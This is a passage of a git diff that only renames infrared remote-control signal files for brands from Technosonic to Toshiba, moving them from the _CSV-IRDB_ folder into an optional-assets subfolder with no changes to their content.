b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Technosonic/Unknown_DVD-204/16,237.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_DVB/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Micro/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_S2400/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_Technotrend/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Technotrend/Unknown_remote/21,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Teleka/Unknown_STR2060/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Telemann/PC HDTV Tuner Card/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Televes/Unknown_145075/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Televes/Unknown_711701/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tensai/Unknown_5340fb/134,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Internet Radio/4,243.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_1400/4,235.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/20,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_Cinergy/4,235.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_M3PO/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Terratec/Unknown_home/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_32LCD70WDGHD/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/11,11.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tesla/Unknown_Tesla/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_3830/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_41666/131,69.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_DFA/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_DVD/67,71.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD-5410/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/23,105.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MD/48,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_MDC-982PLL/162,162.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_RS20536/67,71.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_SAT928/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR-250HD/0,159.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TDR51DV/0,159.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TE-0603/64,63.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TEV1020/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD80383/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_Tevion-MD81035-ASAT-Code-0905/23,105.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tevion/Unknown_TevionMd3607/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/163,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/DVD Player/175,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Theta Digital/Surround Processor/16,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Thinkgeek/Unknown_Lightbulb/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Thompson/Unknown_THOMPSON/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_230/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_RCS615TCLM1/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_TM9258/128,255.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Thomson/Unknown_TV/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TiVo/PVR/26,154.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TiVo/PVR/26,154.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/PVR/26,154.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TiVo/TiVo/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TiVo/TiVo/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/TiVo/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/TiVo/Unknown_Series1/133,48.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tivoli/Unknown_Sirius/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Tokai/Unknown_DVD-715/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_PVR/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000Fi/4,255.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Topfield/Unknown_TF4000PVR/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Topseed/Unknown_Topseed/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/TV/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/TV/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir diff --git 